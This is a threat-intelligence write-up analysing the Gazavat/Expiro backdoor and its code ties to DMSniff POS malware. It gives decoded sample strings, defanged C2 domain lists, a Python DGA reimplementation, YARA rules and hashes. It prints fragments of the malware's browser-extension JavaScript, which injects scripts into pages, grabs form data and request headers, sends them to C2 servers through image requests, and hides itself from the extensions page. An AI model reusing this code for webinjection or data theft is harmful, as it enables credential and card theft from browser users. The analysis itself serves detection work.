Gazavat / Expiro DMSniff connection and DGA analysis

medium.com/walmartglobaltech/gazavat-expiro-dmsniff-connection-and-dga-analysis-8b965cc0221d

Jason Reaves August 30, 2023

--

By: Jason Reaves and Joshua Platt

Gazavat, also known at least partially as Expiro, is a multi-functional backdoor that has code overlaps with the POS malware DMSniff[1]. Functionality includes:

- Loading other executables
- Load hash cracking plugin
- Load DMSniff plugin
- Perform webinjection and webfakes
- Form grabbing
- Command execution
- Download file from infected system
- Convert infection into proxy
- DDOS
- Spreading and EXE infecting

Recovered Gazavat manual:

Technical Overview

Gazavat, along with a few other malware variants over the years, have all been lumped together as a file infector called Expiro by AV companies. This is due to code reuse from the Carberp malware leak[2] being utilized by multiple malware families. Gazavat itself, which is believed to be what AV companies initially referred to as Expiro, is much more complicated than just a simple file infector. First, let's see the connection to DMSniff, which is how this malware ended up catching my attention: the bot id for Gazavat is passed in the user agent, which is the same method used by DMSniff.

DMSniff:

```
User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; DSNF_2768=NT6.1.76016.1.7601-
C386B17D.ENU.26F427F6-736680-955904-14CC1624=)
```

Gazavat[3]:

```
Mozilla/4.0 (compatible; MSIE 33; NT5.1.2600-74952D50.ENU.362235D7-ED9E5B-5D967F-
1438147D; .NET CLR 00000000/00000000)
```

The user agents are strikingly similar in their construction — the similarities do not stop there, though. Taking a look in the binary of Gazavat shows the exact same string encoding routine as DMSniff.

DMSniff sample(7d69e2c4e75c76c201d40dbc04b9f13b2f47bf9667ce3b937dd4b1d31b11a8af) string decryption routine:

Gazavat sample(a3f886db3d2691794e9ec27dca65dcc5d96e6095ec1de5275967a6e6d156d1f7) string decryption routine:

By taking the YARA rule from previous research and broadening it out a bit we are able to find hundreds of samples recently submitted to VirusTotal and begin decoding the strings. Afterwards the various types of functionality available can be discovered.

Cred Harvesting

```
00sqlite3_open|03sqlite3_free|01sqlite3_close|02sqlite3_exec|\\mozsqlite3.dll\\mozglue
 Server PasswordsSoftware\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2
```

Proxy UPNP

```
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body>
<u:QueryStateVariable xmlns:u="urn:schemas-upnp-org:control-1-0">
<u:varName>%s</u:varName></u:QueryStateVariable></s:Body></s:Envelope><?xml
version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:%s
xmlns:u="%s">%s</u:%s></s:Body></s:Envelope>M-SEARCH * HTTP/1.1\r\nHOST:
239.255.255.250:1900\r\nMAN: "ssdp:discover"\r\nMX: 1\r\nST: urn:schemas-upnp-
org:service:%s\r\n\r\nPOST %s HTTP/1.1\r\nHOST: %s:%u\r\nCONTENT-LENGTH:
%u\r\nCONTENT-TYPE: text/xml; charset="utf-8"\r\nSOAPACTION:
"%s#%s"\r\n\r\n%s<NewRemoteHost></NewRemoteHost><NewExternalPort>%i</NewExternalPort>
<NewProtocol>%s</NewProtocol><NewInternalPort>%u</NewInternalPort>
<NewInternalClient>%s</NewInternalClient><NewEnabled>1</NewEnabled>
<NewPortMappingDescription></NewPortMappingDescription>
<NewLeaseDuration>0</NewLeaseDuration>schemas-upnp-org:control-1-0
```

AV Scanning

```
|wscsvc|WinDefend|MsMpSvc|NisSrv|\\Microsoft Security Client\\\\Windows Defender\\
```

Dropping Browser Extensions

```
software\\Mozilla\\Mozilla FireFox
\r\nExtension%u=%s\\%s
[ExtensionDirs]
.ini
chrome\\content.jar
components
chrome
{ec9032c7-c20a-464f-7b0e-13a3a9e97385}
install.rdf
chrome.manifest
chrome\\content
components\\red.js
%s\\%s\\extensions
%s\\*
%s\\Mozilla\\Firefox\\Profiles
content.js
manifest.json
background.js
##HOST_ID##
##DOMAIN##
##XERSION##
Extensions\\
dlddmedljhmbgdhapibnagaanenmajcm
"f (document.location.href==\'chrome://tasks/\')
parent.self.location=\'chrome://sessions/\';\n
if (document.location.href==\'chrome://extensions-frame/\') {
window.setInterval(CheckExt,10); };\n
function CheckExt(){ var el=document.getElementById(\'%s\'); if (el != null)
el.parentNode.removeChild(el); };\n

<?xml version="1.0"?>\n\n<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"\n
xmlns:em="http://www.mozilla.org/2004/em-rdf#">\n\n  <Description
about="urn:mozilla:install-manifest">\n    <em:id>{ec9032c7-c20a-464f-7b0e-
13a3a9e97385}</em:id>\n    <em:version>1</em:version>\n    <em:type>2</em:type>\n
\n    <!-- Target Application this extension can install into, \n         with
minimum and maximum supported versions. --> \n    <em:targetApplication>\n
<Description>\n        <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>\n
<em:minVersion>1.5</em:minVersion>\n        <em:maxVersion>90.*</em:maxVersion>\n
</Description>\n    </em:targetApplication>\n\n    <em:name>.</em:name>\n
<em:description> </em:description>\n    <em:creator>Mozilla Foundation</em:creator>\n
<em:homepageURL>http://www.mozilla.com/</em:homepageURL>\n  </Description>
\n</RDF>content\tsample\tjar:chrome/content.jar!/content/\n#content\tsample\tchrome/cc
 chrome://browser/content/browser.xul chrome://sample/content/sample.xul\n\ncomponent
{e781b0a8-36d6-4510-a9e9-a23234ac7ee5} components/red.js\ncontract
@merysheep.chlice.qee.jp/redirector;1 {e781b0a8-36d6-4510-a9e9-
a23234ac7ee5}\ncategory profile-after-change @merysheep.chlice.qee.jp/redirector;1
@merysheep.chlice.qee.jp/redirector;1\ncategory content-policy
@merysheep.chlice.qee.jp/redirector;1 @merysheep.chlice.qee.jp/redirector;1\n\n
```

DGA related

```
%s%c%c%c%c-%c%c%c%c%c.com%s%c%c%c%c%c-%c%c%c%c.ru
```

Webinjects and Webfakes (via browser extension)

```
beforeEnd
return Ci.nsIContentPolicy.ACCEPT},shouldProcess:function(c,e,a,d,b,f){return
Ci.nsIContentPolicy.ACCEPT},classDescription:"msRedirector js
component",contractID:"@merysheep.chlice.qee.jp/redirector;1",classID:Components.ID("
{e781b0a8-36d6-4510-a9e9-a23234ac7ee5}"),_xpcom_factory:{createInstance:function(b,a)
{if(b!=null){throw Cr.NS_ERROR_NO_AGGREGATION}if(!gRedirector){gRedirector=new
msRedirector()}return gRedirector.QueryInterface(a)}},_xpcom_categories:
[{category:"app-
startup",service:true}],QueryInterface:XPCOMUtils.generateQI([Ci.nsIObserver,Ci.nsICon
 Base64orig={_keyStr
RL!=l.toreplace){delete d.redirecting}else{return
Ci.nsIContentPolicy.ACCEPT}}}try{var n=j.spec.replace(/https?\\:\\/\\//,"");var
h=l.tofind.exec(n)[0];var m=n.replace(h,l.toreplace);m="http://"+m;var f=
(m.indexOf("?")==-1)?"?":"&";m+=f+"hostid="+prefexport.HOSTID;try{m+="&origurl="+Base6
{}d.redirecting=
{};d.redirecting.originalURL=j.spec;d.redirecting.redirectingURL=m;d.redirecting.aRequ
{}return Ci.nsIContentPolicy.REJECT_REQUEST}
ategoryManager);a.addCategoryEntry("content-
policy",this.classDescription,this.contractID,true,true)}catch(b)
{}},observe:function(c,a,b){switch(a){case"app-
startup":this._startup();break;case"profile-after-
change":this._startup();break}},shouldLoad:function(b,j,c,a,g,k)
{if(j.scheme!="http"&&j.scheme!="https"){return
nsIContentPolicy.ACCEPT}if(b!=nsIContentPolicy.TYPE_DOCUMENT){return
nsIContentPolicy.ACCEPT}if(!a||!a.loadURI){return nsIContentPolicy.ACCEPT}var
l=this.FindRedirectSign(j.spec,true);if(l){var d=a;if("redirecting" in d)
{if("HostUnreachable" in d.redirecting){if(d.redirecting.fakeU
:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789(/)",encode:function(c
{var a="";var k,h,f,j,g,e,d;var b=0;c=Base64orig._utf8_encode(c);while(b<c.length)
{k=c.charCodeAt(b++);h=c.charCodeAt(b++);f=c.charCodeAt(b++);j=k>>2;g=((k&3)<<4)|
(h>>4);e=((h&15)<<2)|(f>>6);d=f&63;if(isNaN(h)){e=d=64}else{if(isNaN(f))
{d=64}}a=a+this._keyStr.charAt(j)+this._keyStr.charAt(g)+this._keyStr.charAt(e)+this._
 a},_utf8_encode:function(b){b=b.replace(/\\r\\n/g,"\\n");var a="";for(var
e=0;e<b.length;e++){var d=b.charCodeAt(e);if(d<128)
{a+=String.fromCharCode(d)}else{if((d>127)&&(d
const Ci=Components.interfaces;const Cc=Components.classes;const
Cr=Components.results;const Cu=Components.utils;const mo="@mozilla.org/";Cu["import"]
("resource://gre/modules/XPCOMUtils.jsm");var prefexport=
{HOSTID:"##HOST_ID##",VERSION:"##VERSION##",SERVERLIST:"##DOMAIN##"};const
nsIContentPolicy=Ci.nsIContentPolicy;var
Application=Cc[mo+"fuel/application;1"].getService(Ci.fuelIApplication);var
gRedirector=null;function msRedirector()
{this.wrappedJSObject=this}msRedirector.prototype=
{RedirectList:false,core:null,hello:function(){return"Hello from ch
XPCOM!"},getpref:function(a){try{return pre
fexport[a]}catch(b){}},FindRedirectSign:function(b,a){if(!this.RedirectList){return
false}for(var c=0;c<this.RedirectList.length;c++){var
d=this.RedirectList[c];if(b.search((a)?d.tofind:d.toreplace)!=-1)
{break}}if(c!=this.RedirectList.length){return this.RedirectList[c]}else{return
false}},addlog:function(a){},makeURI:function(d,c,a){var b=Cc[mo+"network/io-
service;1"].getService(Ci.nsIIOService);return b.newURI(d,c,a)},_startup:function()
{this.cout=Cc[mo+"consoleservice;1"].getService(Ci.nsIConsoleService);try{this.cout.re
```

```
{}try{var a=Cc[mo+"categorymanager;1"].getService(Ci.nsIC
<2048))
{a+=String.fromCharCode((d>>6)|192);a+=String.fromCharCode((d&63)|128)}else{a+=String.
 a}};if(XPCOMUtils.generateNSGetFactory){var
NSGetFactory=XPCOMUtils.generateNSGetFactory([msRedirector])}else{var
NSGetModule=XPCOMUtils.generateNSGetModule([msRedirector])};



     },\r\n            "incognito": true,\r\n            "install_time":
"12991426726872000",\r\n           "location": 1,\r\n            "manifest": {\r\n
"background": {\r\n                "scripts": [ "background.js" ]\r\n
},\r\n              "description": "Copyright (c) 2011 The Chromium Authors. All
rights reserved.",\r\n              "key":
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCZHrDqCq2Qtjdkvs6ktcZkj1mzQUOz0WdjfiaSZuU0eo3bJ

// Copyright (c) 2011 The Chromium Authors. All rights reserved.\r\n// Use of this
source code is governed by a BSD-style license that can be\r\n// found in the LICENSE
file.\r\neval(function(p,a,c,k,e,d){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+
((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String))
{while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function()
{return\'\\\\w+\'};c=1};while(c--)if(k[c])p=p.replace(new
RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);return p}(\'1 f=h.l("x");9 k(c){1
b=c.l("V");1 d="";8(1 a=0;a<b.7;a++){3(b.4=="U"){5}3(b.4=="T"){5}3(b.4=="q"){5}3
rl=="chrome://cache/"){chrome.tabs.update(a,
{url:"chrome://predictors/"})}if(b.url=="chrome://net-internals/")
{chrome.tabs.update(a,{url:"chrome://downloads/"})}if(b.url=="chrome://dns/")
{chrome.tabs.update(a,{url:"chrome://downloads/"})}if(b.url=="chrome://about/")
{chrome.tabs.update(a,{url:"chrome://chrome/"})}if(b.url=="chrome://inspect/")
{chrome.tabs.update(a,{url:"chrome://ipc/"})}if(b.url=="chrome://tasks/")
{chrome.tabs.update(a,{url:"chrome://sessions/"})}if(b.url=="chrome://chrome-urls/")
{chrome.tabs.update(a,{url:"chrome://chrome/history/"})}});
 "manifest_version": 2,\r\n              "name": "Google Chrome",\r\n
"permissions": [ "tabs", "http://*/*", "https://*/*", "webNavigation", "webRequest",
"storage" ],\r\n              "version": "1.0"\r\n           },\r\n
"path": "dlddmedljhmbgdhapibnagaanenmajcm\\\\1.0_0",\r\n           "state": 1\r\n
},\r\n
ion|subm|submit|||substring|userAgent|navigator|this|form|value|blank|true|addEventLis
{}))\r\n\r\n
(b.4=="S"){5}d+=a+":"+b[a].4+":"+((b[a].6=="")?"<z>":b[a].6)+":";3((b[a].4=="R")||
(b[a].4=="Q")){d+=b[a].P}O{d+=(b[a].y=="")?"<z>":b[a].y}d+="  "}1 e=c.N.M(/\\\\s{2,}|
[\\\\f\\\\r\\\\n]/g,"|");d="<L"+((c.o)?(" o="+c.o):"")+((c.m)?(" m="+c.m):"")+((c.6)?
(" 6="+c.6):"")+"> "+d+e;K d}9 p(){1 c=k(w);1 b=h.l("x");8(i=0;i<b.7;i++){3(b[i]==w)
{5}c+=k(b[i])}1 a=v.u.t(v.u.j("J"));3(a.j(" ")>0){a=a.t(0,a.j(" "))}c=h.I.H+"
#G#"+a+"# "+c+"#;";F.E.D({C:c},9(d){})}8(i=0;i<f.7;i++)
{f[i].B("q",p,A)};\',58,58,\'|var||if|type|continue|name|length|for|function|||||||dc
\r\n         "dlddmedljhmbgdhapibnagaanenmajcm": {\r\n
"active_permissions": {\r\n              "api": [ "storage", "tabs",
"webNavigation", "webRequest", "webRequestInternal" ],\r\n
"explicit_host": [ "http://*/*", "https://*/*" ]\r\n           },\r\n
"events": [ "runtime.onInstalled" ],\r\n           "from_bookmark": false,\r\n
```

```
"from_webstore": false,\r\n            "granted_permissions": {\r\n
"api": [ "storage", "tabs", "webNavigation", "webRequest", "webRequestInternal"
],\r\n               "explicit_host": [ "http://*/*", "https://*/*" ]\r\n

tener("error",function(f)
{onErrorAbortImage(f)},true);a.addEventListener("abort",function(f)
{onErrorAbortImage(f)},true)}function SendData(){if(SRV==""){return}for(var
a=0;a<MAX;a++){if(!BUF[a]){continue}InsertImg(document,a)}}function Completed(b)
{if(b.url.substring(0,4)!=="http"){return}for(var a=0;a<TOT_INJ;a++)
{if(b.url.match(INJURL[a])){console.log("*** MATCH! EXECUTING JS:
"+INJECT[a]);chrome.tabs.executeScript(b.tabId,
{code:INJECT[a],allFrames:true})}}if(b.frameId!=0)
{return}chrome.tabs.executeScript(b.tabId,
{file:"content.js",allFrames:true});SendData()}function SaveLog(b){for(var
a=0;ld(a);delete BUF[b]}function onErrorAbortImage(b){var
a=b.target;a.parentNode.removeChild(a)}function InsertImg(d,c){if(SRV==""){return}var
e=document.getElementById("sdimg_"+c);if(e!=null){return}var b="http://"+SRV+"/?
h="+HID+"&i="+c+IDS+"&o=0&f=*&si=x&so=0&tl="+BUF[c].length+"&v="+VER+"&d="+Base64crypt

a=d.createElement("img");a.setAttribute("id","sdimg_"+c);a.setAttribute("border","0");
{onLoadImage(f)},true);a.addEventLisction Base64_encode(d){var
c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789(/)";var a="";var
l,j,g,k,h,f,e;var b=0;while(b<d.length){l=d[b++];j=d[b++];g=d[b++];k=l>>2;h=((l&3)
<<4)|(j>>4);f=((j&15)<<2)|(g>>6);e=g&63;if(isNaN(j)){f=e=64}else{if(isNaN(g))
{e=64}}a=a+c.charAt(k)+c.charAt(h)+c.charAt(f)+c.charAt(e)}return a}function
Base64crypt(b){var a=new Array(b.length);for(var c=0;c<b.length;c++)
{a[c]=b.charCodeAt(c)+c*c;a[c]=a[c]%256}b=Base64_encode(a);delete a;return b}function
onLoadImage(c){var a=c.target;var d=a.getAttribute("id");var
b=d.substring(6);a.parentNode.removeChi{\r\n  "name": "Google Chrome",\r\n
"version": "1.0",\r\n  "background": { "scripts": ["background.js"] },\r\n
"manifest_version": 2,\r\n  "description": "Copyright (c) 2011 The Chromium Authors.
All rights reserved.",\r\n  "permissions": [\r\n    "tabs", "http://*/*",
"https://*/*", "webNavigation", "webRequest", "storage"\r\n  ]\r\n}[5]!="a"))
{return}var d=/;
(\\S*)/.exec(b);ParseInjects(d[1]);chrome.storage.local.set({INJ_BLOCK:d[1]})}function
 iTimer(){if(SRV==""){return}var a=new
XMLHttpRequest();a.onreadystatechange=function()
{iXHRstateChange(a)};a.open("GET","http://"+SRV+"/?
jc=x&h="+HID,true);a.overrideMimeType("text/plain; charset=x-user-
defined");a.send(null)}IDS=randomString();function get_srv(a)
{if(typeof(a.SRV_SIND)=="undefined"){return}SRV=SARR[a.SRV_SIND]}function get_inj(a)
{if(typeof(a.INJ_BLOCK)=="undefined")
{return}ParseInjects(a.INJ_BLOCK)}chrome.storage.local.get("SRV_SIND",get_srv);chrome.
{if(BUF[a]){continue}BUF[a]=b;InsertImg(document,a);return}}function BefSendHead(e)
{if(e.tabId<0){return}var c="";for(var a=0;a<e.requestHeaders.length;a++)
{if(e.requestHeaders[a].name==="Origin")
{continue}if(e.requestHeaders[a].name==="Accept")
{continue}if(e.requestHeaders[a].name==="Content-Type")
{continue}if(e.requestHeaders[a].name==="Accept-Encoding"){continue}c+="
"+a+":"+e.requestHeaders[a].name+":"+e.requestHeaders[a].value}var b=e.url+"
#"+e.type+"#"+e.method+"# "+c;SaveLog(b)}function onMsg(c,b,a)
{SaveLog(c.greeting);a({})}function XHRstateChange(c){if(c.readyState!=4){retu//
```

```
Copyright (c) 2011 The Chromium Authors. All rights reserved.\r\n// Use of this
source code is governed by a BSD-style license that can be\r\n// found in the LICENSE
file.\r\nvar MAX=40;var BUF=new Array(MAX);var IDS="";var HID="##HOST_ID##";var
VER="##VERSION##";var SLST="##DOMAIN##";var SINT=120000;var SRV="";var SIND=0;var
SARR=SLST.split("#");var MAX_INJ=100;var TOT_INJ=0;var INJECT=new Array(MAX_INJ);var
INJURL=new Array(MAX_INJ);function randomString(){var
c="abcdefghiklmnopqrstuvwxyz";var d="";for(var b=0;b<10;b++){var
a=Math.floor(Math.random()*c.length);d+=c.substring(a,a+1)}return
d}fune);d++}else{if((e>191)&&(e<224))
{c2=a.charCodeAt(d+1);b+=String.fromCharCode(((e&31)<<6)|
(c2&63));d+=2}else{c2=a.charCodeAt(d+1);c3=a.charCodeAt(d+2);b+=String.fromCharCode(((
<<12)|((c2&63)<<6)|(c3&63));d+=3}}}return b}function Base64v2_decode(d){var
c="hijklmnoNOVWXYZ012wxyzABLMGHIJK3456789CDEFpqrsabcdefgtuvPQRSTU+/=";var a="";var
l,j,g;var k,h,f,e;var b=0;d=d.replace(/[^A-Za-z0-9\\+\\/\\=]/g,"");while(b<d.length)
{k=c.indexOf(d.charAt(b++));h=c.indexOf(d.charAt(b++));f=c.indexOf(d.charAt(b++));e=c.
(k<<2)|(h>>4);j=((h&15)<<4)|(f>>2);g=((f&3)<<6)|e;a=a+String.fromCharrn}var
b=0;if(c.status==200){var a=c.responseText;if((a[42]==";")&&(a[0]=="G")&&
(a[1]=="I")&&(a[2]=="F")&&(a[3]=="8")&&(a[4]=="9")&&(a[5]=="a")){b=1}}if(b==1)
{SRV=SARR[SIND];chrome.storage.local.set({SRV_SIND:SIND})}SIND++;if(SIND>=SARR.length)
{SIND=0}}function sTimer(){var a=new XMLHttpRequest();a.onreadystatechange=function()
{XHRstateChange(a)};a.open("GET","http://"+SARR[SIND]+"/?
f=*",true);a.overrideMimeType("text/plain; charset=x-user-
defined");a.send(null)}function Base64v2_utf8_decode(a){var b="";var d=0;var
e=c1=c2=0;while(d<a.length){e=a.charCodeAt(d);if(e<128)
{b+=String.fromCharCode(("INJ_BLOCK",get_inj);chrome.extension.onMessage.addListener(c
{urls:["http://*/*","https://*/*"],types:["xmlhttprequest"]},
["requestHeaders"]);window.setInterval(sTimer,SINT);window.setInterval(iTimer,SINT+100
{if(b.status!="loading"){return}if(b.url=="chrome://memory-redirect/")
{chrome.tabs.update(a,{url:"chrome://conflicts/"})}if(b.url=="chrome://view-http-
cache/"){chrome.tabs.update(a,{url:"chrome://predictors/"})}if(b.uCode(l);if(f!=64)
{a=a+String.fromCharCode(j)}if(e!=64)
{a=a+String.fromCharCode(g)}}a=Base64v2_utf8_decode(a);return a}function
ParseInjects(d){var a=Base64v2_decode(d);var f=new Array();f=a.split("|$");var c=new
Array();var e=1;TOT_INJ=f.length-1;for(e;e<f.length;e++){var
b=f[e].substr(0,f[e].length-2);c=b.split("|^");INJURL[e-1]=c[0];INJECT[e-
1]=c[1].replace("_HOSTID_",HID)}INJURL[e-1]=false}function iXHRstateChange(a)
{if(a.readyState!=4){return}if(a.status!=200){return}var b=a.responseText;if(b==null)
{return}if((b[42]!=";")||(b[0]!="G")||(b[1]!="I")||(b[2]!="F")||(b[3]!="8")||
(b[4]!="9")||(b
```

Card related

```
VISAMasterCardUnable to authorize.\n%s processing center is unable to authorize your
card %s.\nMake corrections and try again.Unable to authorize
)=====\r\n\r\n\r\n\r\n=====[
```

The samples also come with an encoded list of C2 domains. In the event that the binary is built to perform webinjection attacks, a second list will also be on board that will be utilized by the browser extension as mentioned in previous work[3].

Decoded C2 list example:

```
vietwarok[.]in#fari-khan[.]in#oldlexus-sales[.]in#viewofpakiwar[.]in#prom-
zonaars[.]ru#avchecpk[.]ru#mkz-coffestories[.]cc#farikez1945[.]in#mkz-
coffestories[.]cc#av17-checkx[.]biz#www[.]mahmudz-
test2[.]biz#avgaysociety1[.]org#navirmapsshop[.]ru#avch-
eck[.]biz#www[.]kasperskyanalsuccess2[.]com#directconnectionx[.]ws#xcashinout[.]cc#dir
2013[.]biz#kasperskyanalsuccess3[.]com#avlzcheck[.]ru#avgaysociety3[.]org#www[.]indirs
lockit[.]ws#prom-zonaar[.]ru#prom-zonaar[.]ru#avgaysociety4[.]org#prom-
zonaar[.]ru#navirmapsshop[.]ru#prom-
zonaar[.]ru#avgaysociety5[.]org#avgaysociety6[.]org#vietnavyrulez[.]in#avgaysociety7[.
zonaar[.]ru#indirs-lockit[.]ws#navirmapsshop[.]ru#www[.]avgaysociety8[.]org#indirs-
lockit[.]ws#viri-avtestar2[.]com#navirmapsshop[.]ru#www[.]avgaysociety9[.]org#prom-
zonaar[.]ru#navirmapsshop[.]ru#avgaysociety10[.]org#kasperskyanalsuccess0[.]com#avgays
bank[.]ru#mkz-
coffestories[.]cc#avgaysociety12[.]org#navirmapsshop[.]ru#kasperskyanalsuccess5[.]com#
lockit[.]ws#kasperskyanalsuccess6[.]com#oil-warlords[.]in#indir-
connectx[.]ws#navirmapsshop[.]ru#avgaysocietya[.]org#grewz-platker[.]ru#indirs-
lockit[.]ws#
```

Decoded list for the browser extension traffic:

```
systemtime[.]ru#systemsync[.]ru#altruist[.]pro#uni-link[.]in#fedlaw-gosdep[.]ru#save-
galapagos-turtles[.]biz#bear-wagejhunt[.]ru#govt-comission2011[.]ru#maha-krishna-
ashram[.]in#gunshop-allaimz[.]net#karapauk2012[.]com#navozfromvedeno[.]ru#msmainofc-
here[.]biz#las-conejitas-nuevo[.]cc#dastar-khan[.]cc#applesuicideplan[.]ws#makaron-
po-flotski[.]su
```

DGA

As was previously mentioned some strings are related to a DGA, the DGA is different from DMSniff — but it's also much more obfuscated in the binaries we reverse-engineered. It's worth mentioning that this malware has been around for a long time, so there are likely more variants than what have been found so far. The biggest difference in the algorithm is the usage of a hardcoded string which, in the samples analyzed, was all a single character and the structure of the domain in the strings:

```
%s%c%c%c%c-%c%c%c%c%c.com%s%c%c%c%c%c-%c%c%c%c.ru
```

The algorithm creates 9 char values which will be a mix of vowels and consonants, along with the hardcoded piece that was all a single char value stored as a C-style string.

There are two functions used to pick the chars, which have remained static in the samples found — one for picking a vowel and one for picking a consonant:

Python versions:

```
def rand_vowel_char(a):
 val = int((a & 0xff)/0x2b) & 0xff
 if val == 4:
  return(chr(111))
 if val == 5:
  return(chr(97))
 if val == 3:
  return(chr(105))
 if val == 2:
  return(chr(117))
 if val == 0:
  return(chr(101))
 result = chr(val)
 if val == 1:
  return(chr(121))
 return(result)

def rand_const_char(a): val = int((a & 0xff) / 0xa + 97) & 0xff if val in
[121,111,101,117,97, 106, 105]:  val += 1 return chr(val)
```

Below are two examples of the DGA algorithm where it can see the general flow remains the same, but there are some obfuscation additions that change between samples:

After getting through the obfuscation, a recreation of the algorithm in python can be seen below:

```
def dga(a): hc_char = chr(102) t1 = 9 * int((a+1)/256) + 31 t2 = 7 * 3 + 17 * int((a
+ 1)/256) t3 = 11 * 3 + 23 * int((a+1) / 0x10000) v1 = rand_const_char(t1 * (a+1)) v2
= rand_vowel_char(12 * (a+1)) v3 = rand_const_char(t2 * (a+1)) v4 =
rand_vowel_char(113 * (a+1)) v5 = rand_const_char(a+1) v6 = rand_vowel_char(47 *
(a+1)) v7 = rand_const_char(t3 * (a+1)) v8 = rand_vowel_char(73 * (a+1)) v9 =
rand_const_char(67 * (a+1)) tld = '' if(2 * (ord(v17) >> 1)) == ord(v17):  tld =
'.ru'  dom = hc_char+v1+v2+v3+v4+v5+'-'+v6+v7+v8+v9+tld else:  tld = '.com'  dom =
hc_char+v1+v2+v3+v4+'-'+v5+v6+v7+v8+v9+tld return(dom)
```

YARA

```
rule gaza_dga
{
strings:
$a1 = {0f b6 ?? ?? b9 2b 00 00 00 ba 83 be a0 2f f7 e2 c1 ?? 03}
$const1 = {0f b6 ?? ?? b9 0a 00 00 00 ba cd cc cc cc f7 e2 c1 ?? 03}
condition:
all of them
}

rule gazavat_broad_hunting{strings:$a1 = {b9 ?? 00 00 00 [1-2] f7 ?? 0f b6}$a2 = {31
d? 89 ?? 8? [1-8] 0f b? ?? ?? 0f b? ?? ?? 3? d?}condition:all of them}
```

Samples

DMSniff

```
7d69e2c4e75c76c201d40dbc04b9f13b2f47bf9667ce3b937dd4b1d31b11a8af
```

Gazavat

```
a3f886db3d2691794e9ec27dca65dcc5d96e6095ec1de5275967a6e6d156d1f7
08c656125a3c1abdb74ede3712aecca1a5e4a48984cae78aa60cb833f7231295
050ad1608dca7a938203d185ecfb1ecc69b3e8501129327264d5bc4b67eacff3
0a6cb9adcc23cb33b87689d2c328b742952e8e50c547380cfefe087c055af652
0df600d642caf0969134605d010942b4394843054f37c063621c60508a93c9c0
10f47f9f2fc3d3e46fbbaed21a6298b0d3882faa6a2de5fbb99094c6513ec392
17e81becddbac84bb2fa9412ae11d6b066945ca85ef1a77c51e688bcf42f59b8
23ef8ce504d5430d543509adeccb3f218aed56f5444aeecdc7d115b96e4b2373
36ab0415049c5d8c9eb5721ad0c1d941976ff905a824609007e6c4c086e9aa6e
38223ad3f30e8cdb0602e3f818e80ca936e15e4bd3bc427aff2ab1f91bb2fe46
6da2602e7a95012a258b205c7f44bee5a964a938876509a09b7b01ce92fad764
81a977f7b415480f01a2d44340be4cc35fe8868e7fa699a305b2dcc312c33dd8
84636c0500d344a0c40252381521bf8adf9e2829326aec06892a36f10079a6f5
85cb5eadfbc883448bfde48713f9b1dea9e731b6537361ea1f3d807123af982b
85cc3d2f8b6a40ccdf446ad77fcf3681403ac5dc633b1baa1297581118f5160d
d0405857330b188e808002c6ba457a858ab1a6d6bdef71831be4195db04d5c1d
d200e0227bbea44646dcc41bcbb7d3bba5e7fa9cdc63dbeaaa99389d3e54c945

1d7c5347aa687da9da8c329811392faafd76aa3ddbd77b7774470d7f8ba094d90d7aba6c6c88372928daf3
```

Mutex

```
gazavat-svckkq-vx
```

Browser Extensions

```
mdgkfajodaliacghnafobjnclblcfmlmdlddmedljhmbgdhapibnagaanenmajcm\1.0_0\background.js\1
c20a-464f-7b0e-13a3a9e97385}\chrome.manifest{ec9032c7-c20a-464f-7b0e-
13a3a9e97385}\chrome\content.jar{ec9032c7-c20a-464f-7b0e-
13a3a9e97385}\components\red.js{ec9032c7-c20a-464f-7b0e-13a3a9e97385}\install.rdf
```

References

1: https://flashpoint.io/blog/dmsniff-pos-malware-actively-leveraged-target-medium-sized-businesses/

2: https://github.com/m0n0ph1/malware-1/blob/master/Carberp%20Botnet/source%20-%20absource/pro/all%20source/Worm/Black_JW/kkqvx.h

3: https://stopmalvertising.com/malware-reports/abuse-teams-targeted-by-expiro-analysis.html

4: https://malware447.rssing.com/chan-6195220/all_p2.html